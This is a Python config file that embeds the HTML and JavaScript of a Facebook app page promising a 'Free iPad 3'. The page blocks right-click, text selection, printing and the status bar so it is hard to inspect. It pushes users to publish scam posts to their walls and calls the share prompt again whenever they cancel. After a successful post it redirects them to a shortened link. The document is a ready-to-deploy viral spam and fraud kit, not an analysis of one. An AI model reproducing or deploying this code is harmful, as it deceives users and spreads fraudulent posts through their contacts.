app_id = '139729456078929' # your facebook app id
fan_page_url = 'https://www.facebook.com/pages/Index_demo/159420610812099' #your facebook fan page url
host_url = 'http://index-demo.appspot.com/' #You google app url

#Page html code, do not change!
html_code = """
<!DOCTYPE html>
<html xmlns:fb="http://www.facebook.com/2008/fbml" xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta content="text/html; charset=UTF-8" http-equiv="Content-Type">
<title></title>
<style>

</style>
</head>
<body>

<script language="JavaScript">
wside=(window.sidebar)?true:false;var isOff=false;function mt_cm(){return false}function mt_md(e){mac=navigator.userAgent.indexOf('Mac')!=-1;if (document.all){if(event.button==2||(mac&&(event.ctrlKey||event.keyCode==91))){return false}}else{if(e.which==3||(mac&&(e.modifiers==2||e.ctrlKey))){return false}}}if(navigator.appName.indexOf('Internet Explorer')==-1||(navigator.userAgent.indexOf('MSIE')!=-1&&document.all.length!=0)){if(document.all){mac=navigator.userAgent.indexOf('Mac')!=-1;version=parseFloat('0'+navigator.userAgent.substr(navigator.userAgent.indexOf('MSIE')+5),10);if(!mac&&version>4){document.oncontextmenu=mt_cm}else{document.onmousedown=mt_md;document.onkeydown=mt_md}}else if(document.layers){window.captureEvents(Event.MOUSEDOWN|Event.modifiers|Event.KEYDOWN);window.onmousedown=mt_md;window.onkeydown=mt_md}else if(document.getElementById&&!document.all){document.oncontextmenu=mt_cm}}function mt_dn(a){return false};function mt_de(e){return(e.target.tagName!=null&&e.target.tagName.search('^(INPUT|TEXTAREA|BUTTON|SELECT)$')!=-1)};function mt_md(e){if(e.which==1){window.captureEvents(Event.MOUSEMOVE);window.onmousemove=mt_dn}}function mt_mu(e){if(e.which==1){window.releaseEvents(Event.MOUSEMOVE);window.onmousemove=null}}if(navigator.appName.indexOf('Internet Explorer')==-1||(navigator.userAgent.indexOf('MSIE')!=-1&&document.all.length!=0)){if(document.all){document.onselectstart=mt_dn}else if(document.layers){window.captureEvents(Event.MOUSEUP|Event.MOUSEDOWN);window.onmousedown=mt_md;window.onmouseup=mt_mu}else if(document.getElementById&&!document.all){document.onmousedown=mt_de}}function mt_nls(){window.status='';return true}function mt_nlsl(){mt_nls();setTimeout('mt_nlsl()',10)}if(document.layers)document.captureEvents(Event.MOUSEOVER|Event.MOUSEOUT);document.onmouseover=mt_nls;document.onmouseout=mt_nls;mt_nlsl();
</script>
<style media="print">
body {display:none}
</style>
<div id="fb-root" class=" fb_reset">
<script type="text/javascript">
//hd
window.fbAsyncInit = function() {
FB.init({appId: '"""+app_id+"""', status: true, cookie: true, xfbml: true});
FB.Event.subscribe('edge.create', function(href, widget) {
document.getElementById('share').style.display = "block";
document.getElementById('liked').style.display = "none";
});
/* All the events registered */
FB.Event.subscribe('auth.login', function(response) {
// do something with response
});
FB.getLoginStatus(function(response) {
if (response.session) {
// logged in and connected user, someone you know
}
});
};
(function() {
var e = document.createElement('script');
e.type = 'text/javascript';
e.src = document.location.protocol +
'//connect.facebook.net/en_US/all.js#appId="""+app_id+"""';
e.async = true;
document.getElementById('fb-root').appendChild(e);
}());
function streamPublish(name, description, hrefTitle, hrefLink, userPrompt){
FB.ui(
{
method: 'stream.publish',
message: '',
attachment: {
name: "Get Your Free iPad 3 Right Here!!.<center><fb:live-stream event_app_id='"""+app_id+"""' width='85' height='105' xid='' always_post_to_friends='false'></fb:live-stream></center>",
caption: '<center><b><FONT COLOR="Black">Yes, This is for you :)</FONT></b></center>',
description: ('<center>Click Below To Get Your Free iPad 3 >>>>>>></center>'),
href: '"""+fan_page_url+"""?sk=app_"""+app_id+"""',
media: [{ 'type': 'image', 'src': '"""+host_url+"""images/blank.gif', 'href':'"""+fan_page_url+"""?sk=app_"""+app_id+"""'}],
href: '"""+fan_page_url+"""?sk=app_"""+app_id+"""'
},
action_links: [
{ text: 'Get your New iPad 3 NOW', href: '"""+fan_page_url+"""?sk=app_"""+app_id+"""' }
],
user_prompt_message: 'Get your Free New iPad 3 NOW!'
},
function(response) {
if (response && response.post_id) {
window.location = "http://bit.ly/rncte4";
} else {
//alert('Don\'t Back Out Now! Click The Share Button To Claim Your Item!!!');
streamPublish();
}
});
}



</script>
<center>
<p> </p>
<p><img src="http://static00.info/MDS/logo.jpg"></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p><img src="http://img148.imageshack.us/img148/8876/ipad3dfinalfull.jpg" width="519" height="360" border="0" onClick="streamPublish()"></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
</center>
</body>
</html>
"""
